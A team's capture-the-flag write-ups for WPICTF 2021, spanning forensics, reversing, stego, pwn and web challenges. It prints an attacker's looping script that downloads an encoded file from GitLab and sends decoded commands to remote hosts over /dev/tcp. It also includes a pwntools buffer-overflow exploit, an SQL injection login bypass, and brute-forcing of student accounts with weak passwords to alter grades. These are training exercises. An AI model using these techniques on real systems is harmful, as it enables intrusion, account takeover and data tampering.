THE
WHITE
CIRCLE

WPICTF 2021

forensics
misc
pwn
re
stego
web

forensics

DFIR

Solved by : thewhiteh4t

  • we get a .ova file for this one
  • challenge states that activity was detected in / directory
  • in / directory we can see a .pot file

  • this file contains :
$6$fZ/iAgR.$FHl9m/ibTVBQ3OQ645IiLtrcxSsxdt8pTQHh7knfQ2GhD7Pbu0Dv0evXaGnnMVjV7xe5KlRprL5hWEjE6/Ruj0:toor
  • looks like shadow file format so i tried to login as root with toor as password and it works!
  • in /root we can see some interesting dot files

  • payload.sh pulls an encrypted csv file from gitlab and decrypts it
    #!/bin/bash
    W=$((15*60))
    K=120
    while true
    do
        echo "sleeping for $W seconds"
        sleep $W
        rm .encrypted_csv.data
        wget https://gitlab.com/thehacker1/payload/-/raw/master/.encrypted_csv.data
        echo "downloaded file"
        F="./.encrypted_csv.data"
        hexdump -v -e '/1 "%u\n"' $F | while read B; do
            E=$((K^B))
            C=$(printf \\$(printf '%03o' $E))
            echo -n $C >> encrypted.csv
        done
        echo "decrypted newest command"
        S=$(cat encrypted.csv)
        rm encrypted.csv
        S="${S::-1}"
        D=,
        S=$S$D
        array=();
        while [[ $S ]]; do
            array+=( "${S%%"$D"*}" );
            S=${S#*"$D"};
        done;
        declare -a array
        M=${array[0]}
        I=${array[1]}
        P=${array[2]}
        M=${M##WPI}
        echo "routing message to $I:$P"
        echo "$M" > /dev/tcp/$I/$P
    done
  • I modified the script to not remove the new file by commenting out line 19
  • encrypted.csv holds our flag!

Holmes:

Solved by : Starry-Lord

  • the challenge gives us the following string
Z29vZCB0aG91Z2h0LCBidXQgbm8u
  • it looks base64 , however base64 decoder shows the following:
good thought, but no.
  • using Sherlock OSINT tool we found this github repository :
https://github.com/Z29vZCB0aG91Z2h0LCBidXQgbm8u/flag/blob/main/README.md

WPI{sh3rlock_holmes_w0uld_be_pr0ud}

misc

Pokemon

solved by : chronocruz.exe

  • Using gbgw64 Gameboy emulator
  • Load up the provided pokemon ROM
  • Start the game
  • Continue to tall grasses towards north after exiting your house
  • Professor Oak will stop you saying its dangerous to go without a pokemon
  • Then he will take you to his lab and give a choice between three pokeballs
  • Left most = Charmander
  • Middle = Squirtle
  • Right most = Bulbasaur
  • (Not that these choices matter anyway)

  • Soon as you pick your pokemon your rival will choose his pokeball and no matter which one he choses he will get a Mewtwo, which is basically the strongest pokemon in this game. And it is level 50 to further salt your wounds.

  • Simple way to win, find the cheat menu within your gameboy emulator
  • (In gbgw64 you just right click and there it is)
  • Add the following codes
  • 01FF16D0 - Unlimited HP so you don’t die
  • 0170E9CF - Enemy can’t attack and is hurt every turn with a burn status effect
  • Patiently keep attacking your enemy till his health drops to zero and you get the following screen.

  • Congratulations, you’re the best pokemon trainer (not really).

Cast_Away

solved by : chronocruz.exe

  • We are provided with Minecraft world data.
  • Extract the files and now we need a tool called the NBT Explorer which can be used to read Minecraft’s proprietary Named Binary Tag (NBT) file format.
  • Now the description says three players ran off with the flag.

  • So the flag must be split between the three players.

  • Opening the first file in playerdata folder we get

  • Further expanding and studying the tree we find

  • The value of EnderItems > tag > display > Name seems to be the end part of a flag. Note this value down.

  • Repeating the process for the next playerdata file

  • This time we find a flag like string in Inventory > tag > pages

  • For the third playerdata however :

    • There was no relevant information directly visible in the data.
    • Looking at the coordinates of the player we find

  • Using the Search > Chunk Finder function

  • We input X and Z coordinates but I was unable to find the exact chunk/block values.

  • Moving onto a second tool called Universal Minecraft Editor which a wonderful tool available for free at https://www.universalminecrafteditor.com/

  • We load the minecraft world data into this tool and using the chunk locator input X and Z coordinates

  • We see there is a sign post within the chunk we located.
  • Opening this chunk reveals the in-game objects within this region and their attributes

  • We clearly see the value of Text2 looks like the beginning of our string
  • Concatenating the three parts we get the full string that is our flag
WPI{zaQa4ttIyNo}

pwn

$m4$h

Solved by : thewhiteh4t

#!/usr/bin/env python3

from pwn import *

host = 'smash184384.wpictf.xyz'
port = 15724

junk = 'A' * 11
num = 923992130

le_num = p32(num, endianness='little')
buffer = junk.encode() + le_num + '\n'.encode()

conn = remote(host, port)
conn.send(buffer)
flag = conn.recvline().decode().split(': ')[1].strip()
print(f'\nFLAG : {flag}\n')
conn.close()

re

Baby’s First Reversing

Solved By : thewhiteh4t

  • we have a python bytecode file
  • we can de-compile it using uncompyle6
  • here is the resultant python script
    def __main__(inp):
        i = -4
        for c in inp:
            if i == 4:
                if c != ' ':
                    exit(82)
                else:
                    if i == -4:
                        if c != 'W':
                            exit(133)
                        else:
                            if i == -2:
                                if c != 'I':
                                    exit(42069)
                                elif i == -1 and c != '{':
                                    exit(11037)
                                if i == 10:
                                    if c != '}':
                                        exit(9001)
                            else:
                                if i == 1:
                                    if c != '@':
                                        exit(11037)
                                if i == 2 and c != '5':
                                    exit(11037)
                            if i == 7 and c != 'P':
                                exit(11037)
                        if i == 3:
                            if c != 'E':
                                exit(11037)
                    else:
                        if i == 0:
                            if c != 'h':
                                exit(82)
                        if i == 5 and c != 'h':
                            exit(11037)
                    if i == -3 and c != 'P':
                        exit(133)
                if i == 9:
                    if c != '!':
                        exit(133)
            else:
                if i == 6:
                    if c != '0':
                        exit(133)
                if i == 8 and c != '3':
                    exit(133)
            i += 1
        else:
            print(':)')
    
    __main__(input('hi'))
  • if we carefully observe we can see a pattern
  • it is checking the value of i and c
  • if the condition is not satisfied program exits with an exit code
    if i == -4:
      if c != 'W':
        exit(133)
  • if we look at the values of i and c we can see another pattern
    i == -4 -> c = W
    i == -3 -> c = P
    i == -2 -> c = I
    i == -1 -> c = {
    i == 0  -> c = h
    i == 1  -> c = @
    i == 2  -> c = 5
    i == 3  -> c = E
    i == 4  -> c = SPACE
    i == 5  -> c = h
    i == 6  -> c = 0
    i == 7  -> c = P
    i == 8  -> c = 3
    i == 9  -> c = !
    i == 10 -> c = }

    WPI{h@5E h0P3!}

stego

Glute

Solved by : Ava

  • we have a PNG image

  • running foremost reveals a JPG and PDF files inside it
    Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
    Audit File
    
    Foremost started at Sat Apr 24 21:28:46 2021
    Invocation: foremost glute.png
    Output directory: /home/twh/ctf/wpictf/glute/output
    Configuration file: /etc/foremost.conf
    ------------------------------------------------------------------
    File: glute.png
    Start: Sat Apr 24 21:28:46 2021
    Length: 335 KB (343136 bytes)
    
    Num         Name (bs=512)               Size         File Offset         Comment
    
    0:        00000564.jpg               19 KB              288793         
    1:        00000000.png              335 KB                   0           (699 x 699)
    2:        00000557.pdf               55 KB              285674         
    Finish: Sat Apr 24 21:28:46 2021
    
    3 FILES EXTRACTED
            
    jpg:= 1
    png:= 1
    pdf:= 1
    ------------------------------------------------------------------
  • PDF contains our flag

    WPI{P0lyGlOtz_R_koo1}

Suspicious traffic

Solved by : thewhiteh4t

  • we are given a pcapng file with some HTTP traffic
  • some of the requests have extra characters in data field
  • they can be listed using tshark easily
    tshark -r capture.pcapng -T fields -e http.file_data | grep "\S" | grep -v "html" | cut -d "\\" -f 1 | tr -d "\n"

WPI{su3p1ci0uS_htTp}

web

wpi admin

Solved by : thewhiteh4t

  • email of our friend : alexo@uupeye.edu
  • “students” here have some “bad” passwords
  • emails of students are visible on : https://wpiadmin.wpictf.xyz/topStudents
  • so we get a list of emails which we can bruteforce on student login!
    colino@uupeye.edu
    calliep@uupeye.edu
    annar@uupeye.edu
    gaylenek@uupeye.edu
    dennisb@uupeye.edu
    sherrim@uupeye.edu
    adams@uupeye.edu
  • after bruteforcing we get all these credentials
    colino@uupeye.edu:123456
    calliep@uupeye.edu:password
    annar@uupeye.edu:iloveyou
    gaylenek@uupeye.edu:qwerty
    dennisb@uupeye.edu:123123
    sherrim@uupeye.edu:12345678
    adams@uupeye.edu:soccer
  • after checking each profile we get flag on dennisb@uupeye.edu

wpi admin 2

Solved by : thewhiteh4t

  • we login as dennisb@uupeye.edu again
  • In student communication we get the link to admin portal : https://wpiadmin.wpictf.xyz/iyghfihGBKHJF9719fn113
  • Bruteforcing did not work so I tried SQL login bypass using burpsuite
    admin@uupeye.edu' or '1'='1

  • Bypass is successful and we get the link for admin portal!

wpi admin 3

Solved by : thewhiteh4t

  • We now have access to admin panel and we have to change grades of our friend
  • challenge states that we need to add grades for 4 semesters
  • grades are uploaded using a json file
  • on inspecting the page source we can see a link for an example json file

  • by adding two more semesters and changing production to true we can upload grades successfully, here is the json I used :
    {
        "configName": "Example",
        "timezone": "EST",
        "production": true,
        "studentData": [
          {
            "name": "Alexo O",
            "email": "alexo@uupeye.edu",
            "id": 123456,
            "major": "Computer Science",
            "class": 2023,
            "workerStatus": false,
            "grades": [
              {
                "year": 2019,
                "semester": "fall",
                "semesterGPA": 4.00,
                "courses": [
                  {
                    "name": "Calculus 1",
                    "code": "MA1021",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Introduction to Program Design",
                    "code": "CS1101",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Elements of Writing",
                    "code": "WR1010",
                    "points": 3,
                    "grade": "A"
                  }, {
                    "name": "Calculus 2",
                    "code": "MA1022",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Accelerated Object-Oriented Design Concepts",
                    "code": "CS2103",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Writing about Science and Technology",
                    "code": "WR1011",
                    "points": 3,
                    "grade": "A"
                  }
                ]
              },
              {
                "year": 2019,
                "semester": "spring",
                "semesterGPA": 4.00,
                "courses": [
                  {
                    "name": "Calculus 3",
                    "code": "MA1023",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Calculus 4",
                    "code": "MA1024",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Systems Programming Concepts",
                    "code": "CS2303",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Algorithms",
                    "code": "CS2223",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "General Physics-mechanics",
                    "code": "PH1110",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "General Physics-electricity and Magnetism",
                    "code": "PH1120",
                    "points": 3,
                    "grade": "A"
                  }
                ]
              },
              {
                "year": 2020,
                "semester": "spring",
                "semesterGPA": 4.00,
                "courses": [
                  {
                    "name": "Calculus 3",
                    "code": "MA1023",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Calculus 4",
                    "code": "MA1024",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Systems Programming Concepts",
                    "code": "CS2303",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Algorithms",
                    "code": "CS2223",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "General Physics-mechanics",
                    "code": "PH1110",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "General Physics-electricity and Magnetism",
                    "code": "PH1120",
                    "points": 3,
                    "grade": "A"
                  }
                ]
              },
              {
                "year": 2020,
                "semester": "summer",
                "semesterGPA": 4.00,
                "courses": [
                  {
                    "name": "Calculus 3",
                    "code": "MA1023",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Calculus 4",
                    "code": "MA1024",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Systems Programming Concepts",
                    "code": "CS2303",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "Algorithms",
                    "code": "CS2223",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "General Physics-mechanics",
                    "code": "PH1110",
                    "points": 3,
                    "grade": "A"
                  },
                  {
                    "name": "General Physics-electricity and Magnetism",
                    "code": "PH1120",
                    "points": 3,
                    "grade": "A"
                  }
                ]
              }
            ]
          }
        ]
      }
  • after uploading it we get the flag!